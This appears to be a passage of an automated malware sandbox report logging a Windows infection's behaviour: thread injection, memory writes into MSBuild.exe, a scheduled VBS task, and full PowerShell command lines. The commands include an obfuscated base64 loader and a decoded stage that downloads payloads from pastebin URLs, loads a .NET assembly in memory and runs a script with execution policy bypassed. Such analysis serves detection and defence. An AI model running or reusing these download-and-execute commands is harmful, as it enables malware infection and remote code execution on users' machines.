Source: C:\Windows\SysWOW64\iexpress.exe	Section loaded: NULL target: C:\Program Files (x86)\WCAmvWxrBbedEHpgwvyxrWSwxzilbIAZzxjKyndXhU\DmMVOWsP1JSI77P.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\iexpress.exe	Section loaded: NULL target: C:\Program Files (x86)\WCAmvWxrBbedEHpgwvyxrWSwxzilbIAZzxjKyndXhU\DmMVOWsP1JSI77P.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\iexpress.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\iexpress.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\iexpress.exe

Thread register set: target process: 5468

Jump to behavior

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\iexpress.exe

Thread APC queued: target process: C:\Program Files (x86)\WCAmvWxrBbedEHpgwvyxrWSwxzilbIAZzxjKyndXhU\DmMVOWsP1JSI77P.exe

Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 401000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 1279008	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /delete /tn task name /f	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /tn task name /tr "C:\Users\user\AppData\Local\Temp\GLPd.vbs" /sc minute /mo minutos	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?HI?dgBp?GM?ZQBQ?G8?aQBu?HQ?TQBh?G4?YQBn?GU?cgBd?Do?OgBT?GU?YwB1?HI?aQB0?Hk?U?By?G8?d?Bv?GM?bwBs?C??PQ?g?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?V?B5?H??ZQBd?Do?OgBU?Gw?cw?x?DI?Ow?k?Ho?RgBL?GE?QQ?g?D0?I??n?Gg?d?B0?H??cw?6?C8?LwBw?GE?cwB0?GU?YgBp?G4?LgBj?G8?bQ?v?HI?YQB3?C8?bgBh?EE?ZwBk?GM?V?BH?Cc?I??7?CQ?SQBl?H??RwBR?C??PQ?g?Cg?I?Bb?FM?eQBz?HQ?ZQBt?C4?SQBP?C4?U?Bh?HQ?a?Bd?Do?OgBH?GU?d?BU?GU?bQBw?F??YQB0?Gg?K??p?C??Kw?g?Cc?Z?Bs?Gw?M??x?C4?d?B4?HQ?Jw?p?Ds?J?B3?GU?YgBD?Gw?aQBl?G4?d??g?D0?I?BO?GU?dw?t?E8?YgBq?GU?YwB0?C??UwB5?HM?d?Bl?G0?LgBO?GU?d??u?Fc?ZQBi?EM?b?Bp?GU?bgB0?C??Ow?k?FI?VgBV?Fg?dg?g?D0?I??k?Hc?ZQBi?EM?b?Bp?GU?bgB0?C4?R?Bv?Hc?bgBs?G8?YQBk?FM?d?By?Gk?bgBn?Cg?I??k?Ho?RgBL?GE?QQ?g?Ck?I??7?CQ?UgBW?FU?W?B2?C??f??g?E8?dQB0?C0?RgBp?Gw?ZQ?g?C0?RgBp?Gw?ZQBQ?GE?d?Bo?C??J?BJ?GU?c?BH?FE?I??t?EU?bgBj?G8?Z?Bp?G4?Zw?g?Cc?VQBU?EY?O??n?C??LQBm?G8?cgBj?GU?I??7?CQ?UwBU?GY?RwBs?C??PQ?g?Cg?I?Bb?FM?eQBz?HQ?ZQBt?C4?SQBP?C4?U?Bh?HQ?a?Bd?Do?OgBH?GU?d?BU?GU?bQBw?F??YQB0?Gg?K??p?C??Kw?g?Cc?Z?Bs?Gw?M??y?C4?d?B4?HQ?Jw?p?C??Ow?k?F??a?By?Gw?Tg?g?D0?I?BO?GU?dw?t?E8?YgBq?GU?YwB0?C??UwB5?HM?d?Bl?G0?LgBO?GU?d??u?Fc?ZQBi?EM?b?Bp?GU?bgB0?C??Ow?k?F??a?By?Gw?Tg?u?EU?bgBj?G8?Z?Bp?G4?Zw?g?D0?I?Bb?FM?eQBz?HQ?ZQBt?C4?V?Bl?Hg?d??u?EU?bgBj?G8?Z?Bp?G4?ZwBd?Do?OgBV?FQ?Rg?4?C??Ow?k?EQ?S?B6?FU?QQ?g?C??PQ?g?Cg?I?BH?GU?d??t?EM?bwBu?HQ?ZQBu?HQ?I??t?F??YQB0?Gg?I??k?Ek?ZQBw?Ec?UQ?g?Ck?I??7?CQ?dQBU?Gw?S?B6?C??PQ?g?CQ?U?Bo?HI?b?BO?C4?R?Bv?Hc?bgBs?G8?YQBk?FM?d?By?Gk?bgBn?Cg?I??k?EQ?S?B6?FU?QQ?g?Ck?I??7?CQ?dQBU?Gw?S?B6?C??f??g?E8?dQB0?C0?RgBp?Gw?ZQ?g?C0?RgBp?Gw?ZQBQ?GE?d?Bo?C??J?BT?FQ?ZgBH?Gw?I??t?GY?bwBy?GM?ZQ?g?Ds?J?BN?E8?R?BS?Gc?I??9?C??I??n?CQ?cgB5?GE?ZQBH?C??PQ?g?Cg?RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??Jw?n?Cc?I??r?C??J?BT?FQ?ZgBH?Gw?I??r?C??Jw?n?Cc?I??t?EU?bgBj?G8?Z?Bp?G4?Zw?g?FU?V?BG?Dg?KQ?7?Cc?I??7?CQ?TQBP?EQ?UgBn?C??Kw?9?C??JwBb?EI?eQB0?GU?WwBd?F0?I??k?EY?eQBm?GQ?eg?g?D0?I?Bb?HM?eQBz?HQ?ZQBt?C4?QwBv?G4?dgBl?HI?d?Bd?Do?OgBG?HI?bwBt?EI?YQBz?GU?Ng?0?FM?d?By?Gk?bgBn?Cg?I??k?HI?eQBh?GU?Rw?u?HI?ZQBw?Gw?YQBj?GU?K??n?Cc?J??k?CQ?J??n?Cc?L??n?Cc?QQ?n?Cc?KQ?g?Ck?I??7?Cc?I??7?CQ?TQBP?EQ?UgBn?C??Kw?9?C??JwBb?FM?eQBz?HQ?ZQBt?C4?QQBw?H??R?Bv?G0?YQBp?G4?XQ?6?Cc?I??r?C??Jw?6?EM?dQBy?HI?ZQBu?HQ?R?Bv?G0?YQBp?G4?LgBM?G8?YQBk?Cg?I??k?EY?eQBm?GQ?eg?g?Ck?Lg?n?C??Ow?k?E0?TwBE?FI?Zw?g?Cs?PQ?g?Cc?RwBl?HQ?V?B5?H??ZQ?o?C??Jw?n?E0?aQBz?GU?cgBp?GM?bwBy?GQ?aQBv?HM?bwBB?G0?ZQBu?C4?QwBs?GE?cwBz?DE?Jw?n?C??KQ?u?Ec?ZQB0?E0?Jw?g?Ds?J?BN?E8?R?BS?Gc?I??r?D0?I??n?GU?d?Bo?G8?Z??o?C??Jw?n?E0?cwBx?EI?SQBi?Fk?Jw?n?C??KQ?u?Ek?bgB2?G8?awBl?Cg?I??k?G4?dQBs?Gw?I??s?C??WwBv?GI?agBl?GM?d?Bb?F0?XQ?g?Cg?I??n?Cc?M??v?FQ?UgB4?E8?R?Ba?Dk?N??v?HI?LwBl?GU?LgBl?HQ?cwBh?H??Lw?v?Do?cwBw?HQ?d?Bo?Cc?Jw?g?Cw?I??n?Cc?JQBK?Gs?UQBh?HM?R?Bm?Gc?cgBU?Gc?JQ?n?Cc?I??s?C??Jw?n?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$zFKaA = 'https://pastebin.com/raw/naAgdcTG' ;$IepGQ = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$webClient = New-Object System.Net.WebClient ;$RVUXv = $webClient.DownloadString( $zFKaA ) ;$RVUXv \| Out-File -FilePath $IepGQ -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$DHzUA = ( Get-Content -Path $IepGQ ) ;$uTlHz = $PhrlN.DownloadString( $DHzUA ) ;$uTlHz \| Out-File -FilePath $STfGl -force ;$MODRg = '$ryaeG = (Get-Content -Path ''' + $STfGl + ''' -Encoding UTF8);' ;$MODRg += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''$$$$'',''A'') ) ;' ;$MODRg += '[System.AppDomain]:' + ':CurrentDomain.Load( $Fyfdz ).' ;$MODRg += 'GetType( ''MisericordiosoAmen.Class1'' ).GetM' ;$MODRg += 'ethod( ''MsqBIbY'' ).Invoke( $null , [object[]] ( ''0/TRxODZ94/r/ee.etsap//:sptth'' , ''C:\Windows\system32\PURCHASE OKK.vbs'' , ''____________________________________________-------'', ''0'', ''1'', ''Roda'' ) ) ;' ;$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1' ) ;$MODRg \| Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\Temp\dll03.ps1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Program Files (x86)\WCAmvWxrBbedEHpgwvyxrWSwxzilbIAZzxjKyndXhU\DmMVOWsP1JSI77P.exe	Process created: C:\Windows\SysWOW64\iexpress.exe "C:\Windows\SysWOW64\iexpress.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\iexpress.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" $iujujjzz = 'wwbt?hk?cwb0?gu?bq?u?e4?zqb0?c4?uwbl?hi?dgbp?gm?zqbq?g8?aqbu?hq?tqbh?g4?yqbn?gu?cgbd?do?ogbt?gu?ywb1?hi?aqb0?hk?u?by?g8?d?bv?gm?bwbs?c??pq?g?fs?uwb5?hm?d?bl?g0?lgbo?gu?d??u?fm?zqbj?hu?cgbp?hq?eqbq?hi?bwb0?g8?ywbv?gw?v?b5?h??zqbd?do?ogbu?gw?cw?x?di?ow?k?ho?rgbl?ge?qq?g?d0?i??n?gg?d?b0?h??cw?6?c8?lwbw?ge?cwb0?gu?ygbp?g4?lgbj?g8?bq?v?hi?yqb3?c8?bgbh?ee?zwbk?gm?v?bh?cc?i??7?cq?sqbl?h??rwbr?c??pq?g?cg?i?bb?fm?eqbz?hq?zqbt?c4?sqbp?c4?u?bh?hq?a?bd?do?ogbh?gu?d?bu?gu?bqbw?f??yqb0?gg?k??p?c??kw?g?cc?z?bs?gw?m??x?c4?d?b4?hq?jw?p?ds?j?b3?gu?ygbd?gw?aqbl?g4?d??g?d0?i?bo?gu?dw?t?e8?ygbq?gu?ywb0?c??uwb5?hm?d?bl?g0?lgbo?gu?d??u?fc?zqbi?em?b?bp?gu?bgb0?c??ow?k?fi?vgbv?fg?dg?g?d0?i??k?hc?zqbi?em?b?bp?gu?bgb0?c4?r?bv?hc?bgbs?g8?yqbk?fm?d?by?gk?bgbn?cg?i??k?ho?rgbl?ge?qq?g?ck?i??7?cq?ugbw?fu?w?b2?c??f??g?e8?dqb0?c0?rgbp?gw?zq?g?c0?rgbp?gw?zqbq?ge?d?bo?c??j?bj?gu?c?bh?fe?i??t?eu?bgbj?g8?z?bp?g4?zw?g?cc?vqbu?ey?o??n?c??lqbm?g8?cgbj?gu?i??7?cq?uwbu?gy?rwbs?c??pq?g?cg?i?bb?fm?eqbz?hq?zqbt?c4?sqbp?c4?u?bh?hq?a?bd?do?ogbh?gu?d?bu?gu?bqbw?f??yqb0?gg?k??p?c??kw?g?cc?z?bs?gw?m??y?c4?d?b4?hq?jw?p?c??ow?k?f??a?by?gw?tg?g?d0?i?bo?gu?dw?t?e8?ygbq?gu?ywb0?c??uwb5?hm?d?bl?g0?lgbo?gu?d??u?fc?zqbi?em?b?bp?gu?bgb0?c??ow?k?f??a?by?gw?tg?u?eu?bgbj?g8?z?bp?g4?zw?g?d0?i?bb?fm?eqbz?hq?zqbt?c4?v?bl?hg?d??u?eu?bgbj?g8?z?bp?g4?zwbd?do?ogbv?fq?rg?4?c??ow?k?eq?s?b6?fu?qq?g?c??pq?g?cg?i?bh?gu?d??t?em?bwbu?hq?zqbu?hq?i??t?f??yqb0?gg?i??k?ek?zqbw?ec?uq?g?ck?i??7?cq?dqbu?gw?s?b6?c??pq?g?cq?u?bo?hi?b?bo?c4?r?bv?hc?bgbs?g8?yqbk?fm?d?by?gk?bgbn?cg?i??k?eq?s?b6?fu?qq?g?ck?i??7?cq?dqbu?gw?s?b6?c??f??g?e8?dqb0?c0?rgbp?gw?zq?g?c0?rgbp?gw?zqbq?ge?d?bo?c??j?bt?fq?zgbh?gw?i??t?gy?bwby?gm?zq?g?ds?j?bn?e8?r?bs?gc?i??9?c??i??n?cq?cgb5?ge?zqbh?c??pq?g?cg?rwbl?hq?lqbd?g8?bgb0?gu?bgb0?c??lqbq?ge?d?bo?c??jw?n?cc?i??r?c??j?bt?fq?zgbh?gw?i??r?c??jw?n?cc?i??t?eu?bgbj?g8?z?bp?g4?zw?g?fu?v?bg?dg?kq?7?cc?i??7?cq?tqbp?eq?ugbn?c??kw?9?c??jwbb?ei?eqb0?gu?wwbd?f0?i??k?ey?eqbm?gq?eg?g?d0?i?bb?hm?eqbz?hq?zqbt?c4?qwbv?g4?dgbl?hi?d?bd?do?ogbg?hi?bwbt?ei?yqbz?gu?ng?0?fm?d?by?gk?bgbn?cg?i??k?hi?eqbh?gu?rw?u?hi?zqbw?gw?yqbj?gu?k??n?cc?j??k?cq?j??n?cc?l??n?cc?qq?n?cc?kq?g?ck?i??7?cc?i??7?cq?tqbp?eq?ugbn?c??kw?9?c??jwbb?fm?eqbz?hq?zqbt?c4?qqbw?h??r?bv?g0?yqbp?g4?xq?6?cc?i??r?c??jw?6?em?dqby?hi?zqbu?hq?r?bv?g0?yqbp?g4?lgbm?g8?yqbk?cg?i??k?ey?eqbm?gq?eg?g?ck?lg?n?c??ow?k?e0?twbe?fi?zw?g?cs?pq?g?cc?rwbl?hq?v?b5?h??zq?o?c??jw?n?e0?aqbz?gu?cgbp?gm?bwby?gq?aqbv?hm?bwbb?g0?zqbu?c4?qwbs?ge?cwbz?de?jw?n?c??kq?u?ec?zqb0?e0?jw?g?ds?j?bn?e8?r?bs?gc?i??r?d0?i??n?gu?d?bo?g8?z??o?c??jw?n?e0?cwbx?ei?sqbi?fk?jw?n?c??kq?u?ek?bgb2?g8?awbl?cg?i??k?g4?dqbs?gw?i??s?c??wwbv?gi?agbl?gm?d?bb?f0?xq?g?cg?i??n?cc?m??v?fq?ugb4?e8?r?ba?dk?n??v?hi?lwbl?gu?lgbl?hq?cwbh?h??lw?v?do?cwbw?hq?d?bo?cc?jw?g?cw?i??n?cc?jqbk?gs?uqbh?hm?r?bm?gc?cgbu?gc?jq?n?cc?i??s?c??jw?n?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "[system.net.servicepointmanager]::securityprotocol = [system.net.securityprotocoltype]::tls12;$zfkaa = 'https://pastebin.com/raw/naagdctg' ;$iepgq = ( [system.io.path]::gettemppath() + 'dll01.txt');$webclient = new-object system.net.webclient ;$rvuxv = $webclient.downloadstring( $zfkaa ) ;$rvuxv \| out-file -filepath $iepgq -encoding 'utf8' -force ;$stfgl = ( [system.io.path]::gettemppath() + 'dll02.txt') ;$phrln = new-object system.net.webclient ;$phrln.encoding = [system.text.encoding]::utf8 ;$dhzua = ( get-content -path $iepgq ) ;$utlhz = $phrln.downloadstring( $dhzua ) ;$utlhz \| out-file -filepath $stfgl -force ;$modrg = '$ryaeg = (get-content -path ''' + $stfgl + ''' -encoding utf8);' ;$modrg += '[byte[]] $fyfdz = [system.convert]::frombase64string( $ryaeg.replace(''$$$$'',''a'') ) ;' ;$modrg += '[system.appdomain]:' + ':currentdomain.load( $fyfdz ).' ;$modrg += 'gettype( ''misericordiosoamen.class1'' ).getm' ;$modrg += 'ethod( ''msqbiby'' ).invoke( $null , [object[]] ( ''0/trxodz94/r/ee.etsap//:sptth'' , ''c:\windows\system32\purchase okk.vbs'' , ''____________________________________________-------'', ''0'', ''1'', ''roda'' ) ) ;' ;$vbwwz = ( [system.io.path]::gettemppath() + 'dll03.ps1' ) ;$modrg \| out-file -filepath $vbwwz -force ;powershell -executionpolicy bypass -file $vbwwz ;"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" $iujujjzz = 'wwbt?hk?cwb0?gu?bq?u?e4?zqb0?c4?uwbl?hi?dgbp?gm?zqbq?g8?aqbu?hq?tqbh?g4?yqbn?gu?cgbd?do?ogbt?gu?ywb1?hi?aqb0?hk?u?by?g8?d?bv?gm?bwbs?c??pq?g?fs?uwb5?hm?d?bl?g0?lgbo?gu?d??u?fm?zqbj?hu?cgbp?hq?eqbq?hi?bwb0?g8?ywbv?gw?v?b5?h??zqbd?do?ogbu?gw?cw?x?di?ow?k?ho?rgbl?ge?qq?g?d0?i??n?gg?d?b0?h??cw?6?c8?lwbw?ge?cwb0?gu?ygbp?g4?lgbj?g8?bq?v?hi?yqb3?c8?bgbh?ee?zwbk?gm?v?bh?cc?i??7?cq?sqbl?h??rwbr?c??pq?g?cg?i?bb?fm?eqbz?hq?zqbt?c4?sqbp?c4?u?bh?hq?a?bd?do?ogbh?gu?d?bu?gu?bqbw?f??yqb0?gg?k??p?c??kw?g?cc?z?bs?gw?m??x?c4?d?b4?hq?jw?p?ds?j?b3?gu?ygbd?gw?aqbl?g4?d??g?d0?i?bo?gu?dw?t?e8?ygbq?gu?ywb0?c??uwb5?hm?d?bl?g0?lgbo?gu?d??u?fc?zqbi?em?b?bp?gu?bgb0?c??ow?k?fi?vgbv?fg?dg?g?d0?i??k?hc?zqbi?em?b?bp?gu?bgb0?c4?r?bv?hc?bgbs?g8?yqbk?fm?d?by?gk?bgbn?cg?i??k?ho?rgbl?ge?qq?g?ck?i??7?cq?ugbw?fu?w?b2?c??f??g?e8?dqb0?c0?rgbp?gw?zq?g?c0?rgbp?gw?zqbq?ge?d?bo?c??j?bj?gu?c?bh?fe?i??t?eu?bgbj?g8?z?bp?g4?zw?g?cc?vqbu?ey?o??n?c??lqbm?g8?cgbj?gu?i??7?cq?uwbu?gy?rwbs?c??pq?g?cg?i?bb?fm?eqbz?hq?zqbt?c4?sqbp?c4?u?bh?hq?a?bd?do?ogbh?gu?d?bu?gu?bqbw?f??yqb0?gg?k??p?c??kw?g?cc?z?bs?gw?m??y?c4?d?b4?hq?jw?p?c??ow?k?f??a?by?gw?tg?g?d0?i?bo?gu?dw?t?e8?ygbq?gu?ywb0?c??uwb5?hm?d?bl?g0?lgbo?gu?d??u?fc?zqbi?em?b?bp?gu?bgb0?c??ow?k?f??a?by?gw?tg?u?eu?bgbj?g8?z?bp?g4?zw?g?d0?i?bb?fm?eqbz?hq?zqbt?c4?v?bl?hg?d??u?eu?bgbj?g8?z?bp?g4?zwbd?do?ogbv?fq?rg?4?c??ow?k?eq?s?b6?fu?qq?g?c??pq?g?cg?i?bh?gu?d??t?em?bwbu?hq?zqbu?hq?i??t?f??yqb0?gg?i??k?ek?zqbw?ec?uq?g?ck?i??7?cq?dqbu?gw?s?b6?c??pq?g?cq?u?bo?hi?b?bo?c4?r?bv?hc?bgbs?g8?yqbk?fm?d?by?gk?bgbn?cg?i??k?eq?s?b6?fu?qq?g?ck?i??7?cq?dqbu?gw?s?b6?c??f??g?e8?dqb0?c0?rgbp?gw?zq?g?c0?rgbp?gw?zqbq?ge?d?bo?c??j?bt?fq?zgbh?gw?i??t?gy?bwby?gm?zq?g?ds?j?bn?e8?r?bs?gc?i??9?c??i??n?cq?cgb5?ge?zqbh?c??pq?g?cg?rwbl?hq?lqbd?g8?bgb0?gu?bgb0?c??lqbq?ge?d?bo?c??jw?n?cc?i??r?c??j?bt?fq?zgbh?gw?i??r?c??jw?n?cc?i??t?eu?bgbj?g8?z?bp?g4?zw?g?fu?v?bg?dg?kq?7?cc?i??7?cq?tqbp?eq?ugbn?c??kw?9?c??jwbb?ei?eqb0?gu?wwbd?f0?i??k?ey?eqbm?gq?eg?g?d0?i?bb?hm?eqbz?hq?zqbt?c4?qwbv?g4?dgbl?hi?d?bd?do?ogbg?hi?bwbt?ei?yqbz?gu?ng?0?fm?d?by?gk?bgbn?cg?i??k?hi?eqbh?gu?rw?u?hi?zqbw?gw?yqbj?gu?k??n?cc?j??k?cq?j??n?cc?l??n?cc?qq?n?cc?kq?g?ck?i??7?cc?i??7?cq?tqbp?eq?ugbn?c??kw?9?c??jwbb?fm?eqbz?hq?zqbt?c4?qqbw?h??r?bv?g0?yqbp?g4?xq?6?cc?i??r?c??jw?6?em?dqby?hi?zqbu?hq?r?bv?g0?yqbp?g4?lgbm?g8?yqbk?cg?i??k?ey?eqbm?gq?eg?g?ck?lg?n?c??ow?k?e0?twbe?fi?zw?g?cs?pq?g?cc?rwbl?hq?v?b5?h??zq?o?c??jw?n?e0?aqbz?gu?cgbp?gm?bwby?gq?aqbv?hm?bwbb?g0?zqbu?c4?qwbs?ge?cwbz?de?jw?n?c??kq?u?ec?zqb0?e0?jw?g?ds?j?bn?e8?r?bs?gc?i??r?d0?i??n?gu?d?bo?g8?z??o?c??jw?n?e0?cwbx?ei?sqbi?fk?jw?n?c??kq?u?ek?bgb2?g8?awbl?cg?i??k?g4?dqbs?gw?i??s?c??wwbv?gi?agbl?gm?d?bb?f0?xq?g?cg?i??n?cc?m??v?fq?ugb4?e8?r?ba?dk?n??v?hi?lwbl?gu?lgbl?hq?cwbh?h??lw?v?do?cwbw?hq?d?bo?cc?jw?g?cw?i??n?cc?jqbk?gs?uqbh?hm?r?bm?gc?cgbu?gc?jq?n?cc?i??s?c??jw?n?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?f8?xwbf?	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "[system.net.servicepointmanager]::securityprotocol = [system.net.securityprotocoltype]::tls12;$zfkaa = 'https://pastebin.com/raw/naagdctg' ;$iepgq = ( [system.io.path]::gettemppath() + 'dll01.txt');$webclient = new-object system.net.webclient ;$rvuxv = $webclient.downloadstring( $zfkaa ) ;$rvuxv \| out-file -filepath $iepgq -encoding 'utf8' -force ;$stfgl = ( [system.io.path]::gettemppath() + 'dll02.txt') ;$phrln = new-object system.net.webclient ;$phrln.encoding = [system.text.encoding]::utf8 ;$dhzua = ( get-content -path $iepgq ) ;$utlhz = $phrln.downloadstring( $dhzua ) ;$utlhz \| out-file -filepath $stfgl -force ;$modrg = '$ryaeg = (get-content -path ''' + $stfgl + ''' -encoding utf8);' ;$modrg += '[byte[]] $fyfdz = [system.convert]::frombase64string( $ryaeg.replace(''$$$$'',''a'') ) ;' ;$modrg += '[system.appdomain]:' + ':currentdomain.load( $fyfdz ).' ;$modrg += 'gettype( ''misericordiosoamen.class1'' ).getm' ;$modrg += 'ethod( ''msqbiby'' ).invoke( $null , [object[]] ( ''0/trxodz94/r/ee.etsap//:sptth'' , ''c:\windows\system32\purchase okk.vbs'' , ''____________________________________________-------'', ''0'', ''1'', ''roda'' ) ) ;' ;$vbwwz = ( [system.io.path]::gettemppath() + 'dll03.ps1' ) ;$modrg \| out-file -filepath $vbwwz -force ;powershell -executionpolicy bypass -file $vbwwz ;"	Jump to behavior

Source: DmMVOWsP1JSI77P.exe, 0000000B.00000002.2229058882.0000000000E71000.00000002.00000001.00040000.00000000.sdmp, DmMVOWsP1JSI77P.exe, 0000000B.00000000.1183871673.0000000000E71000.00000002.00000001.00040000.00000000.sdmp, DmMVOWsP1JSI77P.exe, 00000014.00000000.1337559298.00000000018E1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
Source: DmMVOWsP1JSI77P.exe, 0000000B.00000002.2229058882.0000000000E71000.00000002.00000001.00040000.00000000.sdmp, DmMVOWsP1JSI77P.exe, 0000000B.00000000.1183871673.0000000000E71000.00000002.00000001.00040000.00000000.sdmp, DmMVOWsP1JSI77P.exe, 00000014.00000000.1337559298.00000000018E1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: DmMVOWsP1JSI77P.exe, 0000000B.00000002.2229058882.0000000000E71000.00000002.00000001.00040000.00000000.sdmp, DmMVOWsP1JSI77P.exe, 0000000B.00000000.1183871673.0000000000E71000.00000002.00000001.00040000.00000000.sdmp, DmMVOWsP1JSI77P.exe, 00000014.00000000.1337559298.00000000018E1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: DmMVOWsP1JSI77P.exe, 0000000B.00000002.2229058882.0000000000E71000.00000002.00000001.00040000.00000000.sdmp, DmMVOWsP1JSI77P.exe, 0000000B.00000000.1183871673.0000000000E71000.00000002.00000001.00040000.00000000.sdmp, DmMVOWsP1JSI77P.exe, 00000014.00000000.1337559298.00000000018E1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
